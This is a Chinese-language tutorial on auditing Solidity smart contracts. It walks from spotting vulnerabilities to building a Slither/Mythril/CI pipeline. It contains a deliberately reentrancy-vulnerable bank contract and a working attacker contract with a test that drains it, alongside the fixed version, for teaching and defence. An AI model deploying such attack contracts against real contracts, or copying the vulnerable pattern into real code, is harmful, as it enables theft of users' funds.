区块链中智能合约安全审计实战:从常见漏洞识别到自动化检测流程搭建
智能合约一旦部署,代码往往就“写死”在链上了。和普通后端服务不同,线上发现问题后不能简单热修复;一旦资产逻辑有漏洞,损失通常是直接且不可逆的。很多团队刚开始做审计时,会陷入两个误区:
- 只看工具报告,不看业务语义
- 只做人工审计,不做自动化集成
这篇文章我换一个更偏“落地流程”的角度来讲:不是只罗列漏洞,而是带你从漏洞识别一路走到自动化检测流水线搭建。读完后,你应该能自己搭起一套适合中小团队的智能合约审计基线。
背景与问题
智能合约安全审计的难点,不只是“有没有 bug”,而是要回答下面几个问题:
- 这个合约是否存在已知漏洞模式?
- 权限边界是否清晰?
- 外部调用是否可能被重入利用?
- 算术、签名、升级、随机数、价格预言机依赖是否可靠?
- 有没有办法把这些检查流程自动化,避免靠人肉重复执行?
现实里,一个合约项目往往包含:
- 多个 Solidity 文件
- 继承结构与第三方库
- 部署脚本与初始化参数
- 测试用例
- 代理合约与升级逻辑
- CI/CD 流程
如果审计只停留在“打开 Remix 看一眼代码”,基本不够。
前置知识与环境准备
本文默认你已经知道:
- Solidity 基础语法
- EVM 调用模型
- Hardhat 或 Foundry 至少会一种
- 基本的 Git / Node.js 命令行使用
本文示例环境
- Node.js 18+
- npm 9+
- Solidity 0.8.x
- Hardhat
- Slither
- Mythril(可选)
- Echidna(进阶,可选)
初始化项目
mkdir contract-audit-demo
cd contract-audit-demo
npm init -y
npm install --save-dev hardhat @nomicfoundation/hardhat-toolbox
npx hardhat init
安装 Slither:
python3 -m pip install slither-analyzer
安装 Mythril:
pip3 install mythril
核心原理
智能合约审计通常分成三层:
- 模式识别:识别常见漏洞,如重入、权限缺失、整数问题、未检查返回值
- 语义验证:结合业务逻辑判断是否真的可利用
- 自动化回归:把静态分析、单测、模糊测试接入 CI
一张总览图:审计流程怎么串起来
flowchart TD
A[需求与资产梳理] --> B[代码结构分析]
B --> C[手工识别高风险点]
C --> D[静态分析 Slither]
D --> E[符号执行 Mythril]
E --> F[单元测试与攻击复现]
F --> G[模糊测试 Echidna/Foundry]
G --> H[修复与复验]
H --> I[接入 CI 自动化]
常见漏洞的“思考顺序”
我自己做审计时,通常先按下面顺序看:
- 资产入口:充值、提现、铸造、销毁、转账
- 权限边界:
onlyOwner、管理员、白名单、签名验证 - 外部调用:
call、接口调用、ERC20 转账、回调 - 状态更新顺序:先转钱还是先改状态
- 价格与随机性来源
- 升级与初始化逻辑
常见漏洞分类图
classDiagram
class 漏洞分类 {
重入
权限控制缺失
整数边界问题
签名重放
预言机操纵
不安全升级
DOS风险
}
class 重入
class 权限控制缺失
class 整数边界问题
class 签名重放
class 预言机操纵
class 不安全升级
class DOS风险
漏洞分类 --> 重入
漏洞分类 --> 权限控制缺失
漏洞分类 --> 整数边界问题
漏洞分类 --> 签名重放
漏洞分类 --> 预言机操纵
漏洞分类 --> 不安全升级
漏洞分类 --> DOS风险
从一个典型漏洞开始:重入攻击
重入是最经典、也最值得反复练的漏洞。它本质上是:
合约在更新自身状态之前,先把控制权交给了外部地址,导致外部合约有机会再次进入当前函数。
漏洞示意流程
sequenceDiagram
participant U as 攻击者合约
participant V as 漏洞合约
U->>V: withdraw()
V->>U: call.value(amount)
U->>V: fallback / receive 中再次调用 withdraw()
V->>U: 再次转账
Note over V: 状态尚未正确更新,资金被重复提取
实战代码(可运行)
下面我们直接搭一个最小可运行示例:一个有漏洞的银行合约,以及一个攻击合约,再写测试把问题复现出来。
1)漏洞合约:contracts/VulnerableBank.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient balance");
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
balances[msg.sender] -= amount;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
问题就在这里:先转账,再更新余额。
2)攻击合约:contracts/Attacker.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IVulnerableBank {
function deposit() external payable;
function withdraw(uint256 amount) external;
function getBalance() external view returns (uint256);
}
contract Attacker {
IVulnerableBank public bank;
uint256 public attackAmount;
constructor(address _bank) {
bank = IVulnerableBank(_bank);
}
receive() external payable {
uint256 bankBalance = address(bank).balance;
if (bankBalance >= attackAmount) {
bank.withdraw(attackAmount);
}
}
function attack() external payable {
require(msg.value >= 1 ether, "need at least 1 ether");
attackAmount = 1 ether;
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
3)修复版本:contracts/SafeBank.sol
一个直接有效的修法是 Checks-Effects-Interactions,也就是:
- 先检查
- 再更新状态
- 最后与外部交互
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract SafeBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "insufficient balance");
balances[msg.sender] -= amount;
(bool ok, ) = msg.sender.call{value: amount}("");
require(ok, "transfer failed");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}
如果要更稳一点,建议叠加 OpenZeppelin 的 ReentrancyGuard。
4)测试代码:test/reentrancy.js
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Reentrancy demo", function () {
it("should exploit VulnerableBank", async function () {
const [deployer, user, attackerEOA] = await ethers.getSigners();
const Bank = await ethers.getContractFactory("VulnerableBank", deployer);
const bank = await Bank.deploy();
await bank.waitForDeployment();
await bank.connect(user).deposit({
value: ethers.parseEther("5")
});
const Attacker = await ethers.getContractFactory("Attacker", attackerEOA);
const attacker = await Attacker.deploy(await bank.getAddress());
await attacker.waitForDeployment();
await attacker.connect(attackerEOA).attack({
value: ethers.parseEther("1")
});
const bankBalance = await ethers.provider.getBalance(await bank.getAddress());
const attackerBalance = await ethers.provider.getBalance(await attacker.getAddress());
expect(bankBalance).to.equal(0n);
expect(attackerBalance).to.be.greaterThan(ethers.parseEther("1"));
});
});
运行测试:
npx hardhat test
如果环境没问题,你会看到漏洞被成功利用,银行合约资金被抽空。
自动化检测流程搭建
上面的 PoC 很重要,但真正实战里,不能每个问题都靠人工构造攻击。我们需要把自动化工具串起来。
一个建议的最小闭环:
- 编译检查
- 单元测试
- 静态分析(Slither)
- 高危规则阻断 CI
- 关键合约模糊测试
1)使用 Slither 做静态分析
在项目根目录执行:
slither .
如果 Hardhat 项目识别有问题,可以先编译:
npx hardhat compile
slither . --ignore-compile
对于上面的漏洞合约,Slither 通常会给出类似“重入风险”的提示。
2)使用 Mythril 做符号执行
myth analyze contracts/VulnerableBank.sol --solv 0.8.20
Mythril 更适合发现潜在路径问题,但误报有时比 Slither 多。我的建议是:
- Slither 做快速基线
- Mythril 做补充验证
- 最终仍然回到测试与业务逻辑复核
3)把审计流程接进 npm scripts
编辑 package.json:
{
"scripts": {
"compile": "hardhat compile",
"test": "hardhat test",
"audit:slither": "slither . --ignore-compile",
"audit:myth": "myth analyze contracts/VulnerableBank.sol --solv 0.8.20",
"audit": "npm run compile && npm run test && npm run audit:slither"
}
}
执行:
npm run audit
用 GitHub Actions 搭一个最小 CI
如果你希望每次提交代码都自动跑检测,可以加一个工作流。
创建 .github/workflows/contract-audit.yml:
name: Contract Audit Pipeline
on:
push:
branches: [main, master]
pull_request:
jobs:
audit:
runs-on: ubuntu-latest
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Setup Node.js
uses: actions/setup-node@v4
with:
node-version: 18
- name: Setup Python
uses: actions/setup-python@v5
with:
python-version: "3.11"
- name: Install Node dependencies
run: npm ci
- name: Install Slither
run: pip install slither-analyzer
- name: Compile
run: npx hardhat compile
- name: Test
run: npx hardhat test
- name: Run Slither
run: slither . --ignore-compile
自动化流程图
flowchart LR
A[开发提交代码] --> B[GitHub Actions 触发]
B --> C[安装依赖]
C --> D[编译合约]
D --> E[运行测试]
E --> F[Slither 静态分析]
F --> G{是否通过}
G -- 是 --> H[允许合并]
G -- 否 --> I[阻断并修复]
逐步验证清单
如果你准备把这套方法用到真实项目,我建议按这个顺序走,不容易漏:
第一步:资产与权限梳理
- 谁能转钱?
- 谁能升级?
- 谁能暂停?
- 管理员是否可替换?
- 多签是否已接入?
第二步:关键函数清点
depositwithdrawmintburntransferclaimliquidateinitializeupgradeTo
第三步:逐项检查典型漏洞
- 是否存在重入
- 是否缺少访问控制
- 是否依赖
tx.origin - 是否存在签名重放
- 是否有价格源操纵风险
- 是否有不安全的低级调用
- 是否存在初始化遗漏
第四步:自动化落地
- 每次 PR 自动编译
- 每次 PR 自动执行测试
- 每次 PR 自动跑静态分析
- 关键模块定期做模糊测试
常见坑与排查
这一节我尽量讲一些“工具跑不起来”和“报告看不懂”的真实问题,这些比漏洞定义更常见。
1)Slither 报一堆问题,但很多像误报
这是正常现象。静态分析的特点就是快,但保守。排查方式:
- 先看高危项:重入、任意外部调用、权限缺失
- 再看是否为业务允许行为
- 对已确认误报的项,做文档标记,不要简单忽略全部
建议:团队内部维护一个“误报说明清单”。
2)测试能过,但实际上仍然不安全
单测“全绿”不代表安全,尤其是以下情况:
- 测试只覆盖 happy path
- 没有攻击者视角
- 没有边界值测试
- 没有模拟恶意合约回调
排查方法:
- 为每个资金函数补一组异常路径测试
- 为每个外部调用补一个恶意合约 mock
- 检查状态更新顺序
3)代理合约审计时只看实现合约
这是很多团队会踩的坑。升级代理场景下,需要同时看:
- 实现合约逻辑
- 代理存储布局
- 初始化函数
- 升级权限
delegatecall带来的上下文影响
如果只看 implementation,不看 proxy,审计结论往往不完整。
4)ERC20 调用默认认为一定成功
有些代币并不严格返回标准布尔值,或者返回行为不一致。直接写:
token.transfer(to, amount);
未必稳妥。
更安全的方式是使用 OpenZeppelin 的 SafeERC20:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract Vault {
using SafeERC20 for IERC20;
IERC20 public token;
constructor(address _token) {
token = IERC20(_token);
}
function payout(address to, uint256 amount) external {
token.safeTransfer(to, amount);
}
}
5)以为 Solidity 0.8+ 就“没有整数问题了”
0.8+ 确实默认检查溢出,但整数安全不只等于溢出:
- 精度损失
- 除法截断
- 单位换算错误
- 先乘后除与先除后乘差异
例如:
uint256 fee = amount * rate / 10000;
如果 rate、amount 或单位约定不清,依然可能造成经济模型偏差。
安全/性能最佳实践
这一节给一些更偏工程化的建议,尤其适合准备上线项目的团队。
1)优先落实 CEI 模式
也就是:
- Checks
- Effects
- Interactions
任何会转账、外部调用、调用第三方合约的方法,都先检查这个顺序。
2)给关键函数加访问控制,而且要审“谁能改管理员”
很多项目不是死在业务函数,而是死在权限切换上。需要重点看:
onlyOwner是否足够- 是否应该改为多签
- 是否支持 timelock
- 是否存在“初始化后 owner 仍可被任意改写”
3)对外部依赖保持不信任
不要默认这些东西永远可靠:
- ERC20 返回值
- 预言机价格
- 跨链消息
- 第三方合约回调
- 签名来源客户端
在审计时,最好的心态是:任何外部输入都可能是恶意的。
4)把“自动化检测”当作门禁,不是装饰
一个真正有用的流程,不是“上线前跑一次工具”,而是:
- 每次提交自动编译
- 每次 PR 自动测试
- 高危静态分析结果阻断合并
- 发布前固定跑一次完整审计脚本
如果没有门禁,工具装再多也只是心理安慰。
5)日志要足够,但不要泄露敏感语义
事件日志对排查问题非常重要,比如:
event Withdraw(address indexed user, uint256 amount);
但如果你的业务依赖链上签名参数、订单结构、内部策略,也要避免把不该公开的东西过度暴露。
6)性能不是第一位,但 gas 模式要注意安全副作用
有些优化会伤害可读性和安全性,比如:
- 过度使用内联汇编
- 为省 gas 省略安全检查
- 滥用
unchecked
我的经验是:除非有明确的性能瓶颈证据,否则先保证安全与可审计性。
一个推荐的审计最小模板
如果你现在要带团队搭流程,可以参考这个“够用版”模板:
人工审计关注点
- 资产流向图
- 权限表
- 外部调用点
- 升级入口
- 初始化流程
自动化工具组合
- Hardhat / Foundry:编译与测试
- Slither:静态分析
- Mythril:符号执行补充
- Echidna 或 Foundry fuzz:属性测试
CI 最低门槛
- 编译通过
- 单测通过
- Slither 无高危项
- 关键资金函数有攻击测试
总结
智能合约安全审计,最怕两种极端:
- 只讲理论,不做复现
- 只跑工具,不懂逻辑
更稳妥的方式是把它拆成一个闭环:
- 先梳理资产与权限
- 再识别常见漏洞模式
- 用 PoC 和测试验证可利用性
- 接入 Slither、Mythril 等工具做自动化
- 最后把流程固定到 CI,避免回归问题反复出现
如果你是中级开发者,我很建议你从本文这个最小示例开始,真的在本地跑一遍。你会很快发现:
安全审计不是玄学,它首先是一套可以工程化、可重复执行的检查流程。
边界条件也要记住:自动化工具能帮你发现很多“已知模式”问题,但业务设计缺陷、经济模型漏洞、权限治理风险,仍然离不开人工判断。工具负责提效,人负责兜底,这才是比较现实的组合。